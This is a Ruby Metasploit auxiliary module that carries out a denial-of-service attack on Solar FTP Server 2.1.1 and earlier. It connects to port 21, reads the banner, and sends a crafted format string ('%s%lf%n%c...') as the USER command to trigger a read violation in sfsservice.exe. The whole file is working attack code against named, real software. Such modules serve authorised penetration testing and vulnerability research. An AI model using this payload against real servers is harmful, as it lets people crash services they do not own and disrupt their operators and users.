62 lines
1.5 KiB
Ruby
62 lines
1.5 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Solar FTP Server <= 2.1.1 Malformed (User) Denial of Service',
|
|
'Description' => %q{
|
|
This module will send a format string as USER to Solar FTP, causing a READ
|
|
violation in function "__output_1()" found in "sfsservice.exe" while trying to
|
|
calculate the length of the string.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'x000 <3d3n[at]hotmail.com.br>', #Initial disclosure/exploit
|
|
'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', #Metasploit submission
|
|
'sinn3r', #Metasploit edit/commit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'EDB', 16204 ],
|
|
],
|
|
'DisclosureDate' => 'Feb 22 2011'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(21)
|
|
],self.class)
|
|
end
|
|
|
|
def run
|
|
connect
|
|
|
|
banner = sock.get_once(-1, 10) || ''
|
|
print_status("Banner: #{banner.strip}")
|
|
|
|
buf = Rex::Text.pattern_create(50)
|
|
buf << "%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n"
|
|
print_status("Sending format string...")
|
|
sock.put("USER #{buf}\r\n")
|
|
|
|
disconnect
|
|
end
|
|
|
|
end
|